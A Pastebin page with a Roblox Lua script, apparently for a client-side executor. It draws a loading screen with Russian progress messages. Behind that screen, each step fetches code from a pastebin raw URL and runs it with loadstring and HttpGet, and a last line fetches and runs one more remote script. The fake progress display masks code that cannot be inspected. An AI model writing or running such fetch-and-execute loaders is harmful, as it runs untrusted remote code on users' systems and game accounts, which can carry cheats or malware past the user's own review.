Advertisement
kill21_2

Untitled

Jun 16th, 2025 (edited)
8,653
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.67 KB | None | 0 0
  1. -- Gui to Lua
  2. -- Version: 3.2
  3.  
  4. -- Instances:
  5.  
  6. local loading = Instance.new("ScreenGui")
  7. local Frame = Instance.new("Frame")
  8. local Controls = Instance.new("ImageLabel")
  9. local DisplayName = Instance.new("TextLabel")
  10. local scriptes = Instance.new("TextLabel")
  11.  
  12. --Properties:
  13.  
  14. loading.Name = "loading"
  15. loading.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
  16. loading.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  17.  
  18. Frame.Parent = loading
  19. Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  20. Frame.BackgroundTransparency = 1.000
  21. Frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
  22. Frame.BorderSizePixel = 0
  23. Frame.Position = UDim2.new(0.285296977, 0, 0.772590339, 0)
  24. Frame.Size = UDim2.new(0, 425, 0, 100)
  25.  
  26. Controls.Name = "Controls"
  27. Controls.Parent = Frame
  28. Controls.AnchorPoint = Vector2.new(0, 0.5)
  29. Controls.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  30. Controls.BackgroundTransparency = 1.000
  31. Controls.BorderColor3 = Color3.fromRGB(0, 0, 0)
  32. Controls.BorderSizePixel = 0
  33. Controls.Position = UDim2.new(-0.474126637, 166, 0.64999938, 0)
  34. Controls.Size = UDim2.new(1.5, 0, 0.75, 0)
  35. Controls.SizeConstraint = Enum.SizeConstraint.RelativeYY
  36. Controls.Image = "rbxassetid://17093743118"
  37. Controls.ImageTransparency = 0.590
  38. Controls.ScaleType = Enum.ScaleType.Fit
  39.  
  40. DisplayName.Name = "DisplayName"
  41. DisplayName.Parent = Frame
  42. DisplayName.AnchorPoint = Vector2.new(0, 0.5)
  43. DisplayName.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  44. DisplayName.BackgroundTransparency = 1.000
  45. DisplayName.BorderColor3 = Color3.fromRGB(0, 0, 0)
  46. DisplayName.BorderSizePixel = 0
  47. DisplayName.Position = UDim2.new(0.213019446, 0, 0.543341815, 0)
  48. DisplayName.Size = UDim2.new(0.707303345, 0, 0.544098198, 0)
  49. DisplayName.ZIndex = 2
  50. DisplayName.Font = Enum.Font.Unknown
  51. DisplayName.Text = "Загрузка скрипта"
  52. DisplayName.TextColor3 = Color3.fromRGB(255, 255, 255)
  53. DisplayName.TextScaled = true
  54. DisplayName.TextSize = 14.000
  55. DisplayName.TextTransparency = 0.610
  56. DisplayName.TextWrapped = true
  57. DisplayName.TextXAlignment = Enum.TextXAlignment.Left
  58.  
  59. scriptes.Name = "scriptes"
  60. scriptes.Parent = Frame
  61. scriptes.AnchorPoint = Vector2.new(0, 0.5)
  62. scriptes.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
  63. scriptes.BackgroundTransparency = 1.000
  64. scriptes.BorderColor3 = Color3.fromRGB(0, 0, 0)
  65. scriptes.BorderSizePixel = 0
  66. scriptes.Position = UDim2.new(0.219990954, 0, 0.872017682, 0)
  67. scriptes.Size = UDim2.new(0.596227288, 0, 0.291929603, 0)
  68. scriptes.ZIndex = 2
  69. scriptes.Font = Enum.Font.Unknown
  70. scriptes.Text = "load "
  71. scriptes.TextColor3 = Color3.fromRGB(255, 255, 255)
  72. scriptes.TextScaled = true
  73. scriptes.TextSize = 14.000
  74. scriptes.TextTransparency = 0.610
  75. scriptes.TextWrapped = true
  76. scriptes.TextXAlignment = Enum.TextXAlignment.Left
  77. -- Configuration with text sequences and associated scripts
  78. local textConfigurations = {
  79. {
  80. delay = 1,
  81. text = "load Workspace",
  82. scriptUrl = "https://pastebin.com/raw/6MRGQLXu"
  83. },
  84. {
  85. delay = 2.5,
  86. text = "обслуживания скрипта",
  87. scriptUrl = "https://pastebin.com/raw/yUqJxPhQ"
  88. },
  89. {
  90. delay = 2,
  91. text = "загрузка скрпта",
  92. scriptUrl = "https://pastebin.com/raw/yUqJxPhQ"
  93. },
  94. {
  95. delay = 3,
  96. text = "Проверка игроков",
  97. scriptUrl = "https://pastebin.com/raw/ZgJCijM5"
  98. },
  99. {
  100. delay = 1,
  101. text = "Обработка системы",
  102. scriptUrl = "https://pastebin.com/raw/yUqJxPhQ" -- Replace with actual URL
  103. },
  104. {
  105. delay = 3,
  106. text = "почти готово...",
  107. scriptUrl = "https://pastebin.com/raw/yUqJxPhQ" -- Replace with actual URL
  108. },
  109. {
  110. delay = 1,
  111. text = "Готово!",
  112. scriptUrl = "https://pastebin.com/raw/3kqG2hgi" -- Replace with actual URL
  113. }
  114. }
  115.  
  116. local player = game:GetService("Players").LocalPlayer
  117. local playerGui = player:WaitForChild("PlayerGui")
  118.  
  119. -- Function to safely get GUI elements
  120. local function getGuiElements()
  121. local elements = {}
  122.  
  123. -- Check each element in the hierarchy
  124. if not playerGui:FindFirstChild("loading") then
  125. warn("'loading' screen not found in PlayerGui")
  126. return nil
  127. end
  128. elements.loadingScreen = playerGui.loading
  129.  
  130. if not elements.loadingScreen:FindFirstChild("Frame") then
  131. warn("'Frame' not found in loading screen")
  132. return nil
  133. end
  134. elements.frame = elements.loadingScreen.Frame
  135.  
  136. if not elements.frame:FindFirstChild("scriptes") then
  137. warn("'scriptes' text label not found in Frame")
  138. return nil
  139. end
  140. elements.textLabel = elements.frame.scriptes
  141.  
  142. return elements
  143. end
  144.  
  145. -- Function to load and execute a script
  146. local function loadAndExecuteScript(url)
  147. local success, result = pcall(function()
  148. local loadedScript = loadstring(game:HttpGet(url, true))()
  149. if loadedScript then
  150. if type(loadedScript) == "function" then
  151. loadedScript()
  152. end
  153. end
  154. return true
  155. end)
  156.  
  157. if not success then
  158. warn("Failed to load script from "..url..": "..tostring(result))
  159. return false
  160. end
  161. return true
  162. end
  163.  
  164. -- Main function to run the sequence
  165. local function runTextSequence(guiElements)
  166. for _, config in ipairs(textConfigurations) do
  167. -- Update the text
  168. guiElements.textLabel.Text = config.text
  169. print("Displaying: "..config.text)
  170.  
  171. -- Load and execute associated script if URL exists
  172. if config.scriptUrl then
  173. print("Loading script from: "..config.scriptUrl)
  174. local loadSuccess = loadAndExecuteScript(config.scriptUrl)
  175. if not loadSuccess then
  176. guiElements.textLabel.Text = "Error loading script for: "..config.text
  177. task.wait(3) -- Show error longer
  178. end
  179. end
  180.  
  181. -- Wait for the specified delay
  182. task.wait(config.delay)
  183. end
  184.  
  185. -- Disable loading screen after completion
  186. guiElements.loadingScreen.Enabled = false
  187. print("Loading screen disabled")
  188. end
  189.  
  190. -- Initialize and run the sequence
  191. local success, guiElements = pcall(getGuiElements)
  192.  
  193. if success and guiElements then
  194. print("GUI elements found successfully")
  195. runTextSequence(guiElements)
  196. else
  197. warn("Failed to initialize GUI elements:")
  198. warn(tostring(guiElements))
  199.  
  200. -- Debug information
  201. print("Current PlayerGui children:")
  202. for _, child in ipairs(playerGui:GetChildren()) do
  203. print("- "..child.Name)
  204. end
  205. end
  206.  
  207. loadstring(game:HttpGet('https://pastebin.com/raw/E8ffN2Q0'))()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement